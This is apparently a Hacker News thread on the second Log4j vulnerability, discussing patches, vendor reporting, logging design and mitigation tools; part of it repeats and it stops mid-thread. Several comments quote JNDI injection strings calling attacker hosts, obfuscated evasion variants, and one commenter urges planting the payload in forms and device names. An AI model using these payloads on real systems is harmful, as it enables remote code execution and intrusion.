20 ms·

Log4Shell update: second Log4j vulnerability published

698 points by freeqaz 5y ago

freeqaz 5y ago
We spent a few hours writing this today due to the sh*tstorm that's hit the internet since this 2nd CVE was posted up. It took us some time to do a security analysis of it and to publish our findings. If you've patched against Log4Shell, please read this to make sure you're not still vulnerable to this 2nd CVE. In some cases, you're still vulnerable depending on how you patched. In response to this, Apache published log4j 2.16.0 to mitigate the bugs in prior versions (including 2.15.0, the release that was supposed to mitigate Log4Shell initially)
- mnd999 5y ago
  Probably best to patch it anyway, some customer with a report from a dumbass jar scanning tool will moan continuously if you don’t whether you’re vulnerable or not.
  - Piskvorrr 5y ago
    Whether you think you're invulnerable or not. This cuts both ways...
geerlingguy 5y ago
This is the vulnerability that keeps on giving. The annoying thing is, since it is evolving and attacks are spreading (and it has rightly gotten the attention of nearly everyone's IT department), we're hitting a stage where almost every customer is emailing daily asking for updates on mitigations based on evolving CVE discussions. I'd rather people be over-vigilant rather than pass on it, but mitigation is taking a back seat to having to re-read and re-evaluate things multiple times per day, and communicate a lot more than usual to assuage people's nerves.
- dylan604 5y ago
  It has it's downside too. At somepoint, everyone gets tired of asking for updates and waiting. People go back to "normal", and some things remain vuln. Chicken little eventually gets ignored.
  - deleted 5y ago
    [deleted]
- boublepop 5y ago
  It’s a process circus. Once something gets raised as a critical IT issue in a large org, it’s not enough to “just fix the problem” or state that you aren’t affected due to network security etc. You have to report about it, which means you likely need a comment from a vendor. The most humorous thing for me about this entire situation is that the way reporting is handle in many orgs is: Central IT: Are we vulnerable in system X? System owner: writes vendor Vendor: No we are not vulnerable to that CVE, we are using Log4J V1 System owner: … the one that’s eol 2015, and has a bunch of other CVE’s including another RCE? Vendor: yes System owner:Are you going to issue an upgrade? Vendor: No, we are not vulnerable to the latest CVE on V2 so we will not. System vendor to central IT: They are using log4j V1, so not affected by the latest CVE, but we are vulnerable to other CVEs including RCE. Central IT: Perfect, we’ll mark it down as no issues then, the Issue handling only covers the latest CVE.
  - jiggawatts 5y ago
    That's precisely what happened today at ${dayjob}.
  - btbuildem 5y ago
    Large orgs make their employees feel like they don't matter, and eventually the feeling is reciprocal. It's insane to expect anyone in a 1000+ person org to go "above and beyond" their fairly regimented and supervised responsibilities. I'm not advocating for that attitude, it's just what I've observed.
  - thow-58d4e8b 5y ago
rvz 5y ago
Round 2 of Log4j ransomware incoming.
jandrese 5y ago
My kids are tremendously disappointed that the Minecraft server is not coming back up in the near future.
- ReaLNero 5y ago
  run a Digital Ocean droplet hosting the server? It's up to you if the costs justify the benefits.
  - cube00 5y ago
    This why I've given up and just pay to host anything external to scratch my self hosting itch. If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending. It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.
    - iso1631 5y ago
      > If they somehow manage to get in at least they won't be roaming around inside my home network. Why would you have such a server on your home network and not in a DMZ?
    - charcircuit 5y ago
      Why would IPv6 make a difference? Addresses aren't private information and they aren't given out randomly.
      - orangepurple 5y ago
        It's easy to traverse the entire IPv4 space by brute force. Not so with IPv6
        charcircuit 5y ago
        It only takes visiting one site / using one app to have your ipv6 leaked and added to a database of ips that should be scanned.
candiddevmike 5y ago
This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).
- AnotherGoodName 5y ago
  Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes. Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits. Naming your phone and Tesla car gets hits. https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sms-log4shell-log4j-exploit-researchers-test https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm... How about an official name change to the above? Anyone game?
  - doublepg23 5y ago
    My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s=21 https://twitter.com/infosecatom/status/1469774771634249740?s...
    - dylan604 5y ago
      Just read through some of that. My favorite response: "Is it wrong to use a log4j exploit as a password? I mean, passwords shouldn't be coming anywhere near logging code... right?" How many times have we heard of raw text passwords being saved in logs?
      - heyoni 5y ago
        Only once. At Facebook: https://krebsonsecurity.com/2019/03/facebook-stored-hundreds-of-millions-of-user-passwords-in-plain-text-for-years/ https://krebsonsecurity.com/2019/03/facebook-stored-hundreds...
deleted 5y ago
[deleted]
Pxtl 5y ago
Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.
- markmark 5y ago
  I don't use java and have never touched log4j, but structured logs are utterly fantastic and combined with an appropriate log server are far more useful than plain text.
  - lmm 5y ago
    Structured logging is great, but it's vital to keep them structured all the way through. Having an API where you pass a string and then something on the other side tries to parse that string back into structured data is a recipe for disaster.
  - throw_m239339 5y ago
    There is a difference between structured log and something that interprets these logs to create shells down the stack, inside a log library... Nobody is questioning the benefits of structured logs here. The log library itself shouldn't be interpreting these logs. It's like a HTTP framework... triggering a printer, why the hell would it be doing that by default? Seems to me that Log4j is doing to many things, including things it shouldn't be concerned with, as a log library.
    - markmark 5y ago
      > Nobody is questioning the benefits of structured logs here. The guy I replied to was literally saying we should only log plain text and that doing anything more complicated is "emblematic of the crisis the industry is in".
  - jrockway 5y ago
    I like structured logging but structured logging takes you away from a domain-specific language. Instead of log.Infof("fooed the bar: %v, baz=%v", msg, baz), you'd be writing log.Info("fooed the bar", zap.String("msg", msg), zap.Int("baz", baz)). The attack surface is pretty low here, even though you're doing more than just printing to a file. There is no code injection because there is no programming language going on behind the scenes. (Of course, nothing is preventing you from writing a formatting function that compiles and runs a binary built from the log message. So you aren't intrinsically safe from stupid stuff.)
dionian 5y ago
looks like most end users wont be affected by this one, unlike the previous. never seen these options enabled in the wild
- dylan604 5y ago
  if only the world could truly be protected by anecdotes of one.
petilon 5y ago
According to https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.lunasec.io/docs/blog/log4j-zero-day/ if you have this type of code where you log an attacker-specified string (in this case, the X-Api-Version header) then the vulnerability is triggered: String apiVersion = he.getRequestHeader("X-Api-Version"); // This line triggers the RCE by logging the attacker-controlled HTTP header. // The attacker can set their X-Api-Version header to: ${jndi:ldap://attacker.com/a} log.info("Requested Api Version:{}", apiVersion); But what is the bug in log4j that caused the vulnerability? Anyone have a link to the relevant log4j code?
- freeqaz 5y ago
  Author here. It's not actually a "bug", per se. It's actually a (very misguided) feature! Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd... > By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol. So that's where the LDAP portion comes from. This would be perfectly fine if it could only be configured via code or some config file, but the problem is that log4j will interpolate _any_ string looking for `${jndi:foo}` regardless of who put it there. So... when an attacker can insert a JNDI lookup to an arbitrary server... you can see where this is going. Specifically: JNDI lets you load code, also. And that's how the RCE for this works. (The BlackHat talk in the blog post you linked has more details) Does that help?
  - deleted 5y ago
    [deleted]
  - jfoutz 5y ago
    I've really enjoyed your comments on this page, your blog, and the sample code you're pointing people at. This feels so much like a 90's java/flash bug, it's kind of hilarious and awesome. I think there are 2 key things (As I understand them, and I'm just some random guy, don't trust my armchair analysis) 1. The evil ldap server does not send bytecode to execute. It sends instructions about a class to create, and how to configure it. That class needs to be on the server already. One hard problem might be a hash map with initial size of 2^64 -1, which will throw an OOM, which is hard to deal with, and most people don't bother. another might be awt Window or JFrame, so your server process is trying to load up all of X, which probably isn't installed and will generate a lot of weird errors or crash, unless you've had to be pretty wiley to get around or deal with those in the past. There may be a default RCE out there. I don't see an obvious way to make ProcessBuilder do anything too scary, but the std library is huge. There certainly could be something. I haven't really thought through InvocationHandler, but it seems like it has potential. 2. JNDI support for LDAP comes with java, but JNDI is sorta like JDBC, you can plug in whatever random directory service you want. I do not know, but I suspect there are bindings for CORBA or lotus Domino or ActiveDirectory or COM+ or whatever random, crazy, 20 year old binary is still laying around out there. Actually, I have a third tangential thing. This chain of vectors makes me worry about XML processing and what common libraries do with .xsl, .wsdl, .uddi, and whatever other crazy thing seemed like a good idea back in the day that has been faithfully preserved because change is hard and scary. In any case, great write ups. I've enjoyed them.
freeqaz 5y ago
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.) 0: https://github.com/lunasec-io/lunasec/releases/ https://github.com/lunasec-io/lunasec/releases/ 1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4shell https://github.com/lunasec-io/lunasec/tree/master/tools/log4... 2: https://github.com/Cybereason/Logout4Shell https://github.com/Cybereason/Logout4Shell
- teruakohatu 5y ago
  How does the hot patch work?
  - freeqaz 5y ago
    It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell). Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file. There is a good talk on JNDI exploits in that[0] blog post if you want more details. :) 0: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exploit-works https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exp... 1: https://github.com/lunasec-io/lunasec/blob/master/tools/log4shell/payloads/hotpatch-payload/src/main/java/Log4ShellHotpatch.java https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
    - avodonosov 5y ago
      More precisely, it does not rewrite classes, but just changes log4j configuration programmatically.
    - blondin 5y ago
tbirdny 5y ago
Their scanner linked from their Mitigation Guide didn't work for me at all. I scanned a bunch of ear, war, and jar files that have log4j 2.x in them and it didn't find any of them. I guess for the reason described here: https://github.com/lunasec-io/lunasec/issues/301 https://github.com/lunasec-io/lunasec/issues/301 This is less than helpful if people use this and then believe they are safe.
- flh 5y ago
  I had to deal with the opposite problem this week. My company uses Qualys for our vulnerability management stuff and after our security guys ran their scans throughout the network over the weekend we had a bunch of false positives. Seems that they were alerting on log4j-api in addition to log4j-core (only log4j-core is impacted per Apache). Looks like Qualys fixed it on Monday though so this shouldn't be a problem going forward if anyone else uses them. https://blog.qualys.com/vulnerabilities-threat-research/2021/12/10/apache-log4j2-zero-day-exploited-in-the-wild-log4shell https://blog.qualys.com/vulnerabilities-threat-research/2021...
- freeqaz 5y ago
  We'll get on this tomorrow to help make this right. It's hard work dealing with all of the complexity that comes from parsing and patching Java packages! (that's part of the reason we wrote our exploit payload to patch a running Java service in-memory -- it was actually more straightforward than this tool. >.<)
barosl 5y ago
This vulnerability seems much harder to exploit. I've just checked the services I'm in charge of and while there are a few uses of `${ctx:...}` in those codebases, the corresponding context values are all injected internally and not able to be manipulated by the user.
jancsika 5y ago
Who was the customer or class of customer that uses this string interpolation business? Edit: also, why was this feature requested in the first place?
- mac-chaffee 5y ago
  Here's the alleged original Jira ticket: https://issues.apache.org/jira/browse/LOG4J2-313 https://issues.apache.org/jira/browse/LOG4J2-313 PS: Don't post snarky comments on an 8-year old Jira ticket, please.
  - jancsika 5y ago
    Thanks, I'll have a look. Also, good call on your PS. :)
  - technion 5y ago
    I have read that ticket and the JNDI documentation multiple times and I still can't picture what it would look like to choose to use this. Can anyone show me a codebase that utilises this feature so we can see why?
    - deleted 5y ago
      [deleted]
    - AnotherGoodName 5y ago
      After reading through it's a pretty bad feature. It should have been blocked. The very nature of what it does is terrible. Some background: JNDI alone is fine. You want to load code remotely and run it? Fine. You can do that already in other ways. No issue with JNDI here, go ahead and use it on your server in a controlled way that doesn't involve user input. Log4j has a 'routing appender' that can conditionally write to different logs depending on the content being logged. https://logging.apache.org/log4j/2.x/manual/appenders.html#RoutingAppender https://logging.apache.org/log4j/2.x/manual/appenders.html#R... I can see a use to string match and send logs different ways. Now unfortunately this patch flat out uses the 'routing appender' to look for incoming log statements with the pattern ${jndi:logging/context-name} and load that remote JNDI class. This is such a terrible idea that doesn't pass the sniff test. The person who approved this should have simply read the description of what it does. After matching the pattern ${jndi:logging/context-name} it puts that match into a string 'key' and runs ctx.lookup(convertJndiName(key)); It's similar to someone submitting a patch that says "I want to run eval(user_input)". The only difference is that lookup(convertJndiName()) is a little bit obfuscated since it's not called eval(). I guess the review could be mistaken that it's harmless?. Still i think it's a bad smell. I'm worried for this project. It's probably worth going through everything that 'implements StrLookup' and seeing what they do in the 'lookup(final LogEvent event, final String key)' function. Both event and key are user generated content.
GenerocUsername 5y ago
The one thing we can all be sure of though is that our elections are the most secure.
- shp0ngle 5y ago
  Election machines usually don't accept any input from outside sources? You can't write in {jndi:ldap://voteforme.com} as your preferred candidate
  - baobabKoodaa 5y ago
    I believe your parent poster is poking fun at the idea that we can build secure electronic voting machines, when we can't even build a logging library without multiple RCE's. I don't think they insinuate that the voting machines are vulnerable to this specific threat.
    - thayne 5y ago
      I wouldn't be surprised if they were.
  - thayne 5y ago
    Depending on the election, you might be able to write in an arbitrary candidate.
    - _dain_ 5y ago
      Listen, I just think Bobby Tables has the right idea about taxes.
  - fiedzia 5y ago
    You can in some countries (Sweden and Austria, and some US states, according to https://en.wikipedia.org/wiki/Write-in_candidate https://en.wikipedia.org/wiki/Write-in_candidate), so go for it.
- NaturalPhallacy 5y ago
nyanpasu64 5y ago
> Log4j 2.16.0 completely mitigates this issue by removing support for message lookup patterns and disabling JNDI functionality by default. I think this should've happened from the beginning.
- karmasimida 5y ago
  No offense to the log4j devs. But I am wondering from a developer's perspective, it should be the first thing to do in my opinion.
- thomond 5y ago
  It really re-enforces the idea of sane defaults. How many end users of a logging framework would even need JNDI functionality?
  - est 5y ago
    > How many end users of a logging framework would even need JNDI functionality Serious question: Suppose you need to replace user ids with user names in your Java program logs, instead of writing LDAP lookups around every log line everywhere, you have to put it in some module no? How about wrap the logging framework?
    - garblegarble 5y ago
      Why on earth would you want more PII in your logs?
    - maherbeg 5y ago
      This should be done as a middleware or plugin into the library that is opt in rather than built in as a default.
    - awestroke 5y ago
      Why would you do that? That sounds like a terrible idea, and a bad way to spend your limited development resources
    - 5y ago
abledon 5y ago
Hegel remarks somewhere that all great world-historic facts and personages appear, so to speak, twice. He forgot to add: the first time as tragedy, the second time as farce.
throwaway984393 5y ago
It's funny that this vuln kind of already exists in other software that uses printf() allowing the user to specify the format string. (Not nearly as easy as this particular bug of course!) Maybe we'll have a mini renaissance of format string vulns now?
- crehn 5y ago
  How does that allow RCE?
  - greyface- 5y ago
    By manipulating values on the stack (notably, return address) in non-memory-safe languages: https://en.wikipedia.org/wiki/Uncontrolled_format_string https://en.wikipedia.org/wiki/Uncontrolled_format_string
    - throwaway984393 5y ago
      And it's not as sexy, but if you can control the format string you can also inject things like SQL commands or HTTP headers into a convenient place. It's basically just an input validation exploit that in the right circumstances leads to other attacks.
- oneweekwonder 5y ago
  Played around with python for a similar attack and while it needs import and usage of f-string's i was rather taken back how easy it would be to spam the internet with `f"""{exec("import urllib.request;urllib.request.urlopen('http://localhost:8000').read http://localhost:8000').read()")}"""` and variants, see what servers bite and then try to send them a more potent attack. So i personally believe log4sh type attacks across languages will become a lot more common. Because the risk is relatively low and a lot can be automated.
  - staticassertion 5y ago
    Can you elaborate? I don't see how you would exploit Python with a string like that unless there's an `eval` somewhere in Python's logger? I wouldn't exactly put it past the language, for sure, but I'm not aware of that being the case. The reason this works in the java library is that the library explicitly adds functionality to evaluate the strings that are passed in, and has a meta-language for computing based on those values.
tie_ 5y ago
Insightful conversations at https://github.com/apache/logging-log4j2/pull/608 https://github.com/apache/logging-log4j2/pull/608 - the original vulnerability patch. Most JNDI lookups are disabled, except for JAVA and _LDAP(S)_. What I don't get is why would someone who knows about the vulnerability would _still_ want to do LDAP lookups during logging, even when restricted to localhost.
azifali 5y ago
We have published a mitigation for K8s which could be applied by 1. blocking outbound jndi lookups through a network policy 2. Blocking possible execs from the Java Process: https://blog.accuknox.com/log-4j-exploit-and-mitigation/ https://blog.accuknox.com/log-4j-exploit-and-mitigation/
- shushpanchik 5y ago
  As I understood, your policy blocks LDAP port (389). All of the scanning I see in logs at the moment use port 80: "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"
  - iso1631 5y ago
    Last ones I've seen jndi:dns://ip.address.scanworld.net/ref jndi:ldap://162.55.90.26/222xxxx905/C jndi:ldap://195.54.160.149:12344/Basic/Command/Base64... jndi:ldap://45.130.229.168:1389/Exploit {${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64.... Surprisingly very few attempts via http calls, and while some are on default ports, most aren't. I think most obvious attack methods will have been closed. It's the routes like "naming a rogue AP" method that will be interesting.
alexbakker 5y ago
I have a feeling this vulnerability is going to be with us for years. Shameless plug: I built a tool that assists in detecting whether you're vulnerable to this or the previous CVE: https://log4shell.tools https://log4shell.tools. Just enter the JNDI URI it gives you anywhere you suspect it ends up causing a message lookup in log4j. If log4j does so much as a DNS lookup, this tool will tell you about it.
- option_greek 5y ago
  Thank you for this tool. Super useful for testing e2e.
  - alexbakker 5y ago
    You're welcome! I'm glad you find it useful.
edenfed 5y ago
If you are using Kubernetes, please check out my post on patching log4shell using ephemeral containers in one command: https://medium.com/@edeNFed/patching-log4shell-in-one-command-without-downtime-using-ephemeral-containers-c69a9155ab1e https://medium.com/@edeNFed/patching-log4shell-in-one-comman... Also recommended by Lunasec's mitigation guide: https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/ https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-g...
- reegnz 5y ago
  > First, you will need a Kubernetes cluster running version v1.23 Good luck with that.
imwillofficial 5y ago
Log4Shell is turning into an Advent Calendar of patches and late nights
- AccountToUse 5y ago
  5 phone rings 4 unchecked forms 3 if thens 2 terrible days And an ldap in a log tree
  - imwillofficial 5y ago
    Hahahaha so good
bullen 5y ago
Calendar date = Calendar.getInstance(); PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8"); ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8")); 3 lines that replace 1705KB of log4j-core-2.14.1.jar "It does more than that..." I hear you mutter... yes it does more than that! Please build something that you are responsible for. From scratch and with minimalism as a guideline. Using only an OS and a programming language.
- madmax108 5y ago
  "Alexa, define yak-shaving"
  - trasz 5y ago
    How is reminding of the fundamental problem of dependencies’ impact on security a yak-shaving?
    - gjulianm 5y ago
      I mean, if we decided to build everything from scratch using only the OS and a programming language, we wouldn't be building any products. Recommending using a hilariously basic log (straight to file, no modules/level control, no buffer to avoid performance hits, no multithread support) instead of using a established library for logging is pretty naive. Yes, one should know that dependencies can introduce security problems, but the protection against that is not "remove all dependencies and build everything yourself".
    - iSnow 5y ago
      Because in a company setting at least, you will soon discover that you need more than file-based logs in the specific format some coder defined for his pet project. So, you start logging to a database which is easy enough and then you start writing some simple templating code so that different logalizers can work on the logs etc. And then you discover that your logging is slowing down the whole application as more users are added and so on. In the end, you implement a subset of log4j, just worse. What you should have looked at is one of the lighter logging libraries and use slf4fj to switch them out if you need more.
tyler33 5y ago
What about this patch https://github.com/zhangyoufu/log4j2-without-jndi/blob/master/README_en.md https://github.com/zhangyoufu/log4j2-without-jndi/blob/maste... of removing JndiLookup.class , seems still right
- alex-korr 5y ago
  That's the temp fix that Tableau pushed.
deleted 5y ago
[deleted]
throwaway47292 5y ago
haha i imagine a simple console.log('${jndi:....}) on some website will trigger some java log processing thing on my TV to re-log it and my tv will be hacked just by visiting a website or maybe someone's fridge? the future is bright
qalmakka 5y ago
(Maybe) Unpopular opinion: this whole ordeal is also due to the JRE being a clusterfuck of legacy and poor ideas. I understand it was the 90s but allowing to download arbitrary .class files from a server is _insane_, no matter how you spin it around.
- runeks 5y ago
  Agreed. Loading and running arbitrary Java byte code should not be possible from user code. Only the runtime system should have this ability.
  - eMGm4D0zgUAVXc7 5y ago
    How do you want to write software which supports plugins then? Force the user to restart everything if they need a plugin? Or do you want to force developers to only ever write monolithic software now?
    - PenguinCoder 5y ago
      > restart everything if they need a plugin Yes. Hopefully ensures that only people authorized to actually restart the service can add arbitrary code.
      - eMGm4D0zgUAVXc7 5y ago
        Have a look at the forced restarts of Windows due to updates having become a well-hated meme to see how lucky you'll be in explaining that to the users.
        MikeKusold 5y ago
        Restarting an operating system is completely different than restarting an application after you enable a plug-in.
        lrem 5y ago
kune 5y ago
We should rename CI/CD pipelines Continuous Patching Pipelines, which would be more appropriate.
corpMaverick 5y ago
Why is this so hard? It should be very easy to fix this. Set the correct version in the pom.xml. Commit and push to master and deploy. right? easy. It should be a half an hour thing. But at my employer, we still have dozens of teams struggling. Two reasons: - Branching hell.- Many teams don't do continuous integration. They have branches over branches over branches. There are many changes that are not in prod. Continuous integration is about integrating several times a day. David Farley frequently talks about this. https://www.youtube.com/watch?v=Xl62gQpAl1w https://www.youtube.com/watch?v=Xl62gQpAl1w - Microservices hell. - The advantage of microservices is that teams can deploy independently of each other. But many companies ended up with way too many of them. We have a few hundred. I suspect, many of them abandon. Their teams already moved to new things and noone knows how to deploy them. They haven't been deployed in a long time.
- da_chicken 5y ago
  You're worried about patching the system that you're developing and releasing. Most people aren't doing that. Most people are patching systems they bought from some other guy. Indeed, they're scanning and patching dozens of systems they bought from a dozen other guys, each of whom sourced libraries from other guys, who sourced things from still other guys. Somewhere way down at the bottom of the vendor chain is Log4j. For example, we operate an information system we bought from a nationwide vendor. The primary application is not vulnerable. The admin interface is not vulnerable. The secondary application is not vulnerable. However, there's a reporting system from a third party that was provided to us. That is vulnerable. Now we have to wait for the third party to patch so that the vendor can patch so that we can patch. Plus there's all the other things you find that are clearly stupid, but aren't immediately important. Like this: C:\Program Files (x86)\Microsoft Visual Studio\2017\SQL\Common7\IDE\CommonExtensions\Microsoft\SSIS\150\Extensions\Common\Jars\log4j-1.2.17.jar
  - avidphantasm 5y ago
    Plus, older systems may have multiple applications deployed to the same Servlet container (e.g., Tomcat server), even if only one app uses log4j, upgrading it may require updates to transitive shared dependencies that can break "non-affected" apps. Given the prevalence of such Java apps, fixing this is likely to take a long time. Mitigating with firewall rules is a good first step for now.
bob1029 5y ago
I thought I was in the clear, then I remembered we have a small java binary that handles conversion of PDF to images. Turns out, Apache PdfBox depends on Log4j and can be compromised by feeding any malicious PDF into it. How many products use PdfBox right now? This github POC link is not even an hour old... https://github.com/eelyvy/log4jshell-pdf https://github.com/eelyvy/log4jshell-pdf
- newhouse 5y ago
  Wanted to point out a few things: - The Maven entry for `PDFBox` does not list `log4j` as a dependency. However `commons-logging` is a dependency, and `log4j` is listed as an optional dependency there. https://mvnrepository.com/artifact/org.apache.pdfbox/pdfbox/2.0.24 https://mvnrepository.com/artifact/org.apache.pdfbox/pdfbox/... - The `PDFBox` documentation points out that `log4j` is not needed (though `commons-logging` is) and that logging will "fall back to the standard java.util.logging API included in the Java platform" https://pdfbox.apache.org/2.0/dependencies.html#minimum-requirements https://pdfbox.apache.org/2.0/dependencies.html#minimum-requ... - That exploit PoC explicitly adds `log4j` as a dependency https://github.com/eelyvy/log4jshell-pdf/blob/main/pom.xml#L26 https://github.com/eelyvy/log4jshell-pdf/blob/main/pom.xml#L... So, for others out there that find this: just because you're using `PDFBox` does not necessarily mean that you are also using `log4j`, and therefore likely vulnerable to this latest issue.
  - bob1029 5y ago
    I suspected something like this was afoot when I was reading through the manifest files. I don't get paid to write Java, so I wasn't sure if there was some other fantastical edge case that could cause an optional dependency to get loaded dynamically for whatever reason (I certainly couldn't have predicted this log4j fun). Regardless, we are still going to have to remove this because our customers are now on a warpath. Reasonable arguments and nuanced proposals are not going to be feasible for this one. For us, the situation has quickly evolved into "remove 100% of java dependencies from the solution stack". Our customers are super paranoid, but we can't really blame them this time. When the CTO of a bank can understand the exact mechanism that compromises their systems (because it is so trivial to pull off), things are a lot more painful to negotiate.
jrochkind1 5y ago
I just saw a fun user-agent string in my (not log4j!) logs. In case anyone thought they could buy themselves some time with a naive filter on the string "${jndi" in front of your app or something, enjoy the user-agent string beginning: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p} ... Which I assume is a form of escaping/embedding which will work on at least some log4j's, although that's just an assumption I'm making seeing this in my logs, I'm not familiar with the details. I could have seen myself, not really a security person, thinking a filter on `jndi` would work too...
- jgrahamc 5y ago
  https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/ https://blog.cloudflare.com/exploitation-of-cve-2021-44228-b...
pezzana 5y ago
Where can I find an explanation of the problem(s) log4j actually solves? The home page doesn't do it. The wikipedia article doesn't do it. I remember when it first came out and couldn't think of a single use for it that couldn't be addressed in a cleaner way.
- shepherdjerred 5y ago
  It solves logging
- bdamm 5y ago
  Do you know what logging is? It's something basically all developers use to understand what is happening inside their program. log4j provides an easy to use and flexible logging facility so programmers can quickly move past basics and into getting the work done. In the old days, programmers would write their own logging code. In the modern era, basically all operational environments want to get that logging data and tools like splunk and SIEM products use it for understanding how well services are running, looking for security problems, etc. Logs also need to be rotated, not overflow the hard disk, might need to be sent elsewhere. So for the combination of being easy to use but flexible to configure, something like log4j is perfect. Basically all languages have something like log4j. slf4j is also a popular java logging package. Sometimes slf4j and log4j are used together. How would you do it "cleaner"? Write your own?

698 points by freeqaz 5y ago

We spent a few hours writing this today due to the sh*tstorm that's hit the internet since this 2nd CVE was posted up. It took us some time to do a security analysis of it and to publish our findings. If you've patched against Log4Shell, please read this to make sure you're not still vulnerable to this 2nd CVE. In some cases, you're still vulnerable depending on how you patched. In response to this, Apache published log4j 2.16.0 to mitigate the bugs in prior versions (including 2.15.0, the release that was supposed to mitigate Log4Shell initially)

mnd999 5y ago
Probably best to patch it anyway, some customer with a report from a dumbass jar scanning tool will moan continuously if you don’t whether you’re vulnerable or not.
- Piskvorrr 5y ago
  Whether you think you're invulnerable or not. This cuts both ways...

geerlingguy 5y ago

This is the vulnerability that keeps on giving. The annoying thing is, since it is evolving and attacks are spreading (and it has rightly gotten the attention of nearly everyone's IT department), we're hitting a stage where almost every customer is emailing daily asking for updates on mitigations based on evolving CVE discussions. I'd rather people be over-vigilant rather than pass on it, but mitigation is taking a back seat to having to re-read and re-evaluate things multiple times per day, and communicate a lot more than usual to assuage people's nerves.

dylan604 5y ago
It has it's downside too. At somepoint, everyone gets tired of asking for updates and waiting. People go back to "normal", and some things remain vuln. Chicken little eventually gets ignored.
- deleted 5y ago
  [deleted]
boublepop 5y ago
It’s a process circus. Once something gets raised as a critical IT issue in a large org, it’s not enough to “just fix the problem” or state that you aren’t affected due to network security etc. You have to report about it, which means you likely need a comment from a vendor. The most humorous thing for me about this entire situation is that the way reporting is handle in many orgs is: Central IT: Are we vulnerable in system X? System owner: writes vendor Vendor: No we are not vulnerable to that CVE, we are using Log4J V1 System owner: … the one that’s eol 2015, and has a bunch of other CVE’s including another RCE? Vendor: yes System owner:Are you going to issue an upgrade? Vendor: No, we are not vulnerable to the latest CVE on V2 so we will not. System vendor to central IT: They are using log4j V1, so not affected by the latest CVE, but we are vulnerable to other CVEs including RCE. Central IT: Perfect, we’ll mark it down as no issues then, the Issue handling only covers the latest CVE.
- jiggawatts 5y ago
  That's precisely what happened today at ${dayjob}.
- btbuildem 5y ago
  Large orgs make their employees feel like they don't matter, and eventually the feeling is reciprocal. It's insane to expect anyone in a 1000+ person org to go "above and beyond" their fairly regimented and supervised responsibilities. I'm not advocating for that attitude, it's just what I've observed.
- thow-58d4e8b 5y ago

rvz 5y ago

Round 2 of Log4j ransomware incoming.

jandrese 5y ago

My kids are tremendously disappointed that the Minecraft server is not coming back up in the near future.

ReaLNero 5y ago
run a Digital Ocean droplet hosting the server? It's up to you if the costs justify the benefits.
- cube00 5y ago
  This why I've given up and just pay to host anything external to scratch my self hosting itch. If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending. It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.
  - iso1631 5y ago
    > If they somehow manage to get in at least they won't be roaming around inside my home network. Why would you have such a server on your home network and not in a DMZ?
  - charcircuit 5y ago
    Why would IPv6 make a difference? Addresses aren't private information and they aren't given out randomly.
    - orangepurple 5y ago
      It's easy to traverse the entire IPv4 space by brute force. Not so with IPv6
      - charcircuit 5y ago
        It only takes visiting one site / using one app to have your ipv6 leaked and added to a database of ips that should be scanned.

candiddevmike 5y ago

This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).

AnotherGoodName 5y ago
Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes. Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits. Naming your phone and Tesla car gets hits. https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sms-log4shell-log4j-exploit-researchers-test https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm... How about an official name change to the above? Anyone game?
- doublepg23 5y ago
  My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s=21 https://twitter.com/infosecatom/status/1469774771634249740?s...
  - dylan604 5y ago
